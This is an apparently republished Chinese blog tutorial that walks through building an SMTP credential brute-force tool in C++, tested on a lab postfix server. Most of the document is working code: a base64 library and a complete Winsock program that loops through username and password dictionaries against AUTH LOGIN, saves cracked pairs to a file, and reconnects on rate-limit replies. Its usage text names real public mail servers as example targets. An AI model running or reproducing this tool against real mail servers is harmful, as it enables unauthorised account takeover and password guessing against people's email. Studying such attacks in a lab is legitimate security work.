SMTP暴力破解


這里實現一個SMTP的暴力破解程序,實驗搭建的是postfix服務器,猜解用戶名字典(user.txt)和密碼字典(password.txt)中匹配的用戶名密碼對,

程序開發環境是:

  WinXP VC6.0

參考資料:
SMTP-E-mail密碼暴力破解:  http://www.redicecn.com/html/yuanchuangchengxu/20090226/39.html
Encoding and decoding base 64 with c++: http://renenyffenegger.ch/notes/development/Base64/Encoding-and-decoding-base-64-with-cpp
這里要首先說明的是,參考資料“SMTP-E-mail密碼暴力破解”中的base64算法存在問題,不能得到正確的結果,於是在網上找到了一個可以使用的base64的C++版的算法實現。而且,這個程序只能一次暴力猜解單個賬戶的密碼。
另外提供一個在線的base64編碼/解碼以供檢測: http://www1.tc711.com/tool/BASE64.htm

 一、實驗環境說明

  實驗采用的是postfix服務器,關於郵件服務器的搭建這里就不做說明,需要費些功夫,網上也有很多的參考資料。

  郵箱域名是: mail.starnight.com   SMTP端口:25

  郵箱服務器內網地址是: 192.168.1.107  --  mail.starnight.com

  我們需要先修改一下hosts文件的內容:  C:\WINDOWS\system32\drivers\etc\hosts  -- winxp (其他系統請自己查找hosts文件位置)

  增加如下記錄:格式如: 

your-ip-address  domain-name
192.168.1.107    mail.starnight.com

  telnet上郵箱服務器(mail.starnight.com)的25號端口,並進行用戶名密碼驗證。

  telnet mail.starnight.com 25

【說明】

1、helo/ehlo: 類似於跟遠程服務器打招呼,但ehlo返回的消息更為豐富。

2、進行用戶名密碼認證:

auth login                  // 用戶認證, 明文      
334 VXNlcm5hbWU6              // 服務器回傳 狀態碼334   base64編碼后的Username:
dGVzdDE=                   // base64編碼的"test1"         
334 UGFzc3dvcmQ6              // 服務器回傳 狀態碼334   base64編碼后的Password:
MTIzNDU2                   // base64編碼的"123456"
235 2.7.0 Authentication successful   //服務器回傳狀態嗎235 認證成功

二、 Base64編碼/解碼算法C++實現

這里可以直接參考上面給出的鏈接,為了避免存在可能訪問不了的情況,現斗膽照搬過來:

1、base64.h

#include <string>
std::string base64_encode(unsigned char const* , unsigned int len);
std::string base64_decode(std::string const& s);

2、base64.cpp

/* 
   base64.cpp and base64.h

   Copyright (C) 2004-2017 René Nyffenegger

   This source code is provided 'as-is', without any express or implied
   warranty. In no event will the author be held liable for any damages
   arising from the use of this software.

   Permission is granted to anyone to use this software for any purpose,
   including commercial applications, and to alter it and redistribute it
   freely, subject to the following restrictions:

   1. The origin of this source code must not be misrepresented; you must not
      claim that you wrote the original source code. If you use this source code
      in a product, an acknowledgment in the product documentation would be
      appreciated but is not required.

   2. Altered source versions must be plainly marked as such, and must not be
      misrepresented as being the original source code.

   3. This notice may not be removed or altered from any source distribution.

   René Nyffenegger rene.nyffenegger@adp-gmbh.ch

*/

#include "base64.h"
#include <iostream>

static const std::string base64_chars = 
             "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
             "abcdefghijklmnopqrstuvwxyz"
             "0123456789+/";


static inline bool is_base64(unsigned char c) {
  return (isalnum(c) || (c == '+') || (c == '/'));
}

std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) {
  std::string ret;
  int i = 0;
  int j = 0;
  unsigned char char_array_3[3];
  unsigned char char_array_4[4];

  while (in_len--) {
    char_array_3[i++] = *(bytes_to_encode++);
    if (i == 3) {
      char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
      char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
      char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
      char_array_4[3] = char_array_3[2] & 0x3f;

      for(i = 0; (i <4) ; i++)
        ret += base64_chars[char_array_4[i]];
      i = 0;
    }
  }

  if (i)
  {
    for(j = i; j < 3; j++)
      char_array_3[j] = '\0';

    char_array_4[0] = ( char_array_3[0] & 0xfc) >> 2;
    char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
    char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
    char_array_4[3] =   char_array_3[2] & 0x3f;

    for (j = 0; (j < i + 1); j++)
      ret += base64_chars[char_array_4[j]];

    while((i++ < 3))
      ret += '=';

  }

  return ret;

}

std::string base64_decode(std::string const& encoded_string) {
  int in_len = encoded_string.size();
  int i = 0;
  int j = 0;
  int in_ = 0;
  unsigned char char_array_4[4], char_array_3[3];
  std::string ret;

  while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
    char_array_4[i++] = encoded_string[in_]; in_++;
    if (i ==4) {
      for (i = 0; i <4; i++)
        char_array_4[i] = base64_chars.find(char_array_4[i]);

      char_array_3[0] = ( char_array_4[0] << 2       ) + ((char_array_4[1] & 0x30) >> 4);
      char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
      char_array_3[2] = ((char_array_4[2] & 0x3) << 6) +   char_array_4[3];

      for (i = 0; (i < 3); i++)
        ret += char_array_3[i];
      i = 0;
    }
  }

  if (i) {
    for (j = i; j <4; j++)
      char_array_4[j] = 0;

    for (j = 0; j <4; j++)
      char_array_4[j] = base64_chars.find(char_array_4[j]);

    char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
    char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
    char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

    for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
  }

  return ret;
}

3、test.cpp

#include "base64.h"
#include <iostream>

int main() {
  const std::string s = 
    "René Nyffenegger\n"
    "http://www.renenyffenegger.ch\n"
    "passion for data\n";

  std::string encoded = base64_encode(reinterpret_cast<const unsigned char*>(s.c_str()), s.length());
  std::string decoded = base64_decode(encoded);

  std::cout << "encoded: " << std::endl << encoded << std::endl << std::endl;
  std::cout << "decoded: " << std::endl << decoded << std::endl;

  return 0;
}

 三、暴力破解程序實現

1、實現代碼

  代碼中添加了相當的注釋,應該不難理解,跟原"SMTP-E-mail密碼暴力破解"相比,不僅修正了base64算法,而且可以針對用戶名字典-密碼字典的暴力猜解。

#include <iostream>
#include <winsock2.h>
#include "base64.h"

using namespace std;

#pragma comment(lib, "ws2_32.lib")

FILE *fpPass, *fpUser, *fpResult;            // 文件描述符,用戶名、密碼文件、保存破解文件指針
SOCKET sock;                                // 套接字描述符
char send_wait(char *, char *, char);        // 函數聲明:發送數據並等待接受響應碼
void usage();                                // 程序使用說明
void initialsocket();                        // 重置連接
struct sockaddr_in destAddr;                // 目的地址

int main( int argc, char *argv[] )
{
    WSADATA wsaData;            
    DWORD starttime;            // 程序運行的起始時間
    struct hostent *host;        // 域名轉換
    char userFile[101];            // 用戶名字典文件
    char passFile[101];         // 密碼字典文件路徑
    char username[21];            // 用戶名
    char password[21];            // 密碼
    
    int k = 0, i = 0, j = 0;            // 已讀取密碼文件行數
    char *ICMP_DEST_IP;            // DNS查詢到的IP地址
    
    memset(passFile, 0, sizeof(passFile));
    memset(userFile, 0, sizeof(userFile));    
    // 打印使用幫助
    if( 1 == argc )
    {
        usage();
        return -1;
    }
    
    for( i = 0; i < argc; i++ )
    {
        // 用戶名字典文件
        if(strstr(argv[i], "-u"))
        {
            if(strlen(argv[i+1]) > 100)
            {
                printf("用戶名字典文件名太長!\n");
                return 1;
            }
            strncpy(userFile, argv[i+1], strlen(argv[i+1]));            // 拷貝密碼字典文件路徑
            i++;
        }
        // 密碼字典文件
        if(strstr(argv[i], "-p"))
        {
            if(strlen(argv[i+1]) > 100)
            {
                printf("密碼字典文件名太長!\n");
                return 1;
            }
            strncpy(passFile, argv[i+1], strlen(argv[i+1]));            // 拷貝密碼字典文件路徑
            i++;
        }        
        if(strstr(argv[i], "-?"))                                        // 幫助
        {
            usage();
            return 3;
        }
    }
    
    // 判斷用戶名和密碼文件路徑是否為空
    if(strlen(userFile) == 0 || strlen(passFile) == 0)
    {
        printf("請指定用戶名和密碼字典路徑!\n");
        usage();
        return 4;
    }
    
    printf("userFile:%s \t passFile:%s\n", userFile, passFile);

    // 最后一個參數輸入域名
    ICMP_DEST_IP = argv[argc-1];            
    
    if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
    {
        printf("套接字版本協商出錯!\n");
        WSACleanup();
        return 5;
    }
    
    // 域名解析
    host = gethostbyname(ICMP_DEST_IP);
    if(NULL == host)
    {
        printf("無法解析主機%s的IP地址!\n", ICMP_DEST_IP);
        WSACleanup();
        return 6;
    } 
    else        // 使用獲取到的第一個IP地址
    {
        ICMP_DEST_IP = inet_ntoa(*(struct in_addr*)host->h_addr_list[0]);
        printf("server ip : %s\n", ICMP_DEST_IP);
    }
    
    // 填寫目的地址結構體: 協議、地址、端口  SMTP:25
    memset(&destAddr, 0, sizeof(destAddr));
    destAddr.sin_family = AF_INET;
    destAddr.sin_addr.s_addr = inet_addr(ICMP_DEST_IP);  
    destAddr.sin_port = htons(25);
    
    // 以只讀打開用戶名、密碼文件、破解成功的結果
    
    fpUser = fopen(userFile, "r");
    fpResult = fopen("result.txt", "w");

    if( NULL == fpUser )
    {
        printf("打開文件失敗,請檢查輸入文件是否存在!\n");
        WSACleanup();
        return 7;
    }

    initialsocket();                    // 初始化socket連接
    starttime = GetTickCount();            // 獲取當前偏移時間

    memset(username, 0, sizeof(username));
    while(fgets(username, 20, fpUser))
    {
        j++;
//        username[strlen(username)-1] = '\0';
        if(username[strlen(username)-1]==0x0A)
            username[strlen(username)-1]=0;

        memset(password, 0, sizeof(password));
        fpPass = fopen(passFile, "r");                    // 重新打開文件
        while (fgets(password, 20, fpPass))
        {
            k++;
        //    password[strlen(password)-1] = '\0';
            if(password[strlen(password)-1]==0x0A)
                password[strlen(password)-1]=0;
            printf("%d:%d username:%s \t password:%s\n", j, k, username, password);

            //發送AUTH LOGIN命令,並起到接收響應碼334
            if(send_wait("AUTH LOGIN", "334", 0) != 2)
                continue;

            if(send_wait(username, "334", 1) != 2)
                continue;

            if(send_wait(password, "235", 1) != 2)
                continue;
            else
            {
                printf("------------ find a pair ---------------\n");
                printf("username:%s \t password:%s\n", username, password);
                printf("----------------------------------------\n");

                //  將保存的結果寫入到文件中
                fputs(username, fpResult);
                fputs(":", fpResult);
                fputs(password, fpResult);
                fputs("\n", fpResult);
                
                // 發送quit消息,退出登錄狀態,再初始化連接
                if(send_wait("QUIT", "221", 0) != 2)
                    printf("disconnected failed!!!\n");
                else
                    printf("disconnected from remote mail server...\n");
                initialsocket();
        
                memset(username, 0, sizeof(username));
                break;
                fclose(fpPass);                
            }
        }
    }

    printf("程序運行耗時:%ds:%dms\n", ((GetTickCount()-starttime)) / 1000, ((GetTickCount()-starttime)) % 1000 );
    fclose(fpPass);
    closesocket(sock);
    WSACleanup();
    return 0;
}


/**
** 發送數據並等待接受響應碼
** 參數說明: command: 發送的命令、 responseCode: 期待接受的響應碼、 isEncode: 是否需要base64編碼(1表示需要,0表示不需要)
** 返回值: -1:發送失敗、 0:接收數據出錯、 1:沒有成功接收到響應碼 、 2:成功接收到響應碼    
*/
char send_wait(char *command, char *responseCode, char isEncode)
{
//    unsigned char *base64;
    char smtp_data[101];            // 提交給SMTP服務器的數據
    char recvBuf[201];                // 接收數據緩沖區
    DWORD starttime;                // 開始時間
    memset(smtp_data, 0, sizeof(smtp_data));
    if(isEncode)        // 需要進行base64編碼
    {
        std::string encoded = base64_encode(reinterpret_cast<const unsigned char*>((string(command).c_str())), string(command).length());
        printf("encode : %s\n", encoded.c_str());
        strcpy(smtp_data, encoded.c_str());
    } else
    {
        strcpy(smtp_data, command);
    }
    
    // 加上換行符
    smtp_data[strlen(smtp_data)] = 0x0D;
    smtp_data[strlen(smtp_data)] = 0x0A;

    if(SOCKET_ERROR == send(sock, smtp_data, strlen(smtp_data), 0))
    {
        printf("發送請求出錯!\n");
        return -1;
    }
    memset(recvBuf, 0, sizeof(recvBuf));
    starttime = GetTickCount();
    while(1)
    {
        // 設置2s的超時時間
        if(GetTickCount() - starttime > 2000)
        {
            printf("timeout...\n");
            return 0;
        }
        
        if(SOCKET_ERROR == recv(sock, recvBuf, 200, 0))
        {
            printf("接收信息出錯");
            return 0;
        }
        else 
        {
            printf("recvBuf:==# %s \n", recvBuf);
            if(NULL == strstr(recvBuf, responseCode))
            {
                if(strstr(recvBuf, "421") || strstr(recvBuf, "451"))
                    initialsocket();            // 重置socket連接
                return 1;
            }
            else 
                return 2;
        }
    }
}


// 程序使用說明
void usage()
{
    printf("============================E-mail密碼暴力破解工具=============================\n");
    printf("By RedIce:redice@see.xidian.edu.cn\n");
    printf("Modified by starnight(starnight_cyber@foxmail.com) -- 2017.3.31 \n");
    printf("注意:國內部分SMTP服務器有防暴力破解設置(eg. smtp.126.com)\n");
    printf("================================================================================\n");
    printf("Usage: SMTPBruteForce.exe  -u pathToUsername -p pathToPassword smtpServerAddress\n");
    printf("Options:\n\n");
    printf("        -u pathToUsername:指定用戶名字典文件\n");
    printf("        -f pathToPassword:指定密碼字典文件\n");
    printf("        -? 顯示該幫助信息\n\n");
    printf("        smtpServerAddress: 郵箱服務器地址,如smtp.qq.com\n");
}


void initialsocket()
{
    char recvBuf[201];            // 接收服務器返回數據緩沖區
    int timeout = 3000;
    closesocket(sock);
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);            // 創建套接字
    if(INVALID_SOCKET == sock)
    {
        printf("創建套接字出錯!\n");
        WSACleanup();
        exit(0);
    }
    
    // 連接目標主機
    if(SOCKET_ERROR == connect(sock, (SOCKADDR*)&destAddr, sizeof(destAddr)))
    {
        printf("連接目標主機失敗!.\n");
        closesocket(sock);
        WSACleanup();
        exit(0);
    }
    
    // 設置超時時間
    if(SOCKET_ERROR == setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout)))
    {
        printf("設置套接字超時失敗!.\n");
        closesocket(sock);
        WSACleanup();
        exit(0);
    }
    
    memset(recvBuf, 0, sizeof(recvBuf));
    if(SOCKET_ERROR == recv(sock, recvBuf, 200, 0))
    {
        printf("接收連接信息出錯!.\n");
        closesocket(sock);
        WSACleanup();
        exit(0);
    }
    else {
        if(strstr(recvBuf, "554"))
        {
            printf("該服務器有防暴力破解設置,您的IP地址被臨時禁制連接,請稍后再試...\n");
            printf("From SMTP Server : \n%s\n", recvBuf);
            closesocket(sock);
            WSACleanup();
            exit(0);
        }
    }
    // 發送"EHLO starnight.com"命令,並期待接收響應碼250
    send_wait("EHLO mail.starnight.com", "250", 0);
}

2、使用方法說明Usage: 

Usage: SMTPBruteForce.exe  -u pathToUsername -p pathToPassword smtpServerAddress

Options:

        -u pathToUsername:指定用戶名字典文件
        -f pathToPassword:指定密碼字典文件
        -? 顯示該幫助信息

        smtpServerAddress: 郵箱服務器地址,如smtp.qq.com

3、暴力破解測試

C:\code\SMTPBruteForce\Debug>SMTPBruteForce.exe -u user.txt -p password.txt mail.starnight.com

實驗結果截圖:

 

 

 

 

 

 

 

 

 

 

 

值得說明的是,這種驗證方式會比較慢...

源代碼百度雲分享: 鏈接: https://pan.baidu.com/s/1o88st66 密碼: ubvw

四、SMTP狀態碼

Code    Meaning
200    (nonstandard success response, see rfc876)
211    System status, or system help reply
214    Help message
220    <domain> Service ready
221    <domain> Service closing transmission channel
250    Requested mail action okay, completed
251    User not local; will forward to <forward-path>
252    Cannot VRFY user, but will accept message and attempt delivery
354    Start mail input; end with <CRLF>.<CRLF>
421    <domain> Service not available, closing transmission channel
450    Requested mail action not taken: mailbox unavailable
451    Requested action aborted: local error in processing
452    Requested action not taken: insufficient system storage
500    Syntax error, command unrecognised
501    Syntax error in parameters or arguments
502    Command not implemented
503    Bad sequence of commands
504    Command parameter not implemented
521    <domain> does not accept mail (see rfc1846)
530    Access denied (???a Sendmailism)
550    Requested action not taken: mailbox unavailable
551    User not local; please try <forward-path>
552    Requested mail action aborted: exceeded storage allocation
553    Requested action not taken: mailbox name not allowed
554    Transaction failed

SMTP狀態碼:

http://www.greenend.org.uk/rjk/tech/smtpreplies.html

https://tools.ietf.org/rfc/rfc4954.txt

中文參考: 

http://blog.sina.com.cn/s/blog_648d85ef0100yg1t.html

http://www.codeweblog.com/smtp%E7%8A%B6%E6%80%81%E7%A0%81/

 最后,歡迎大家跟我交流!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM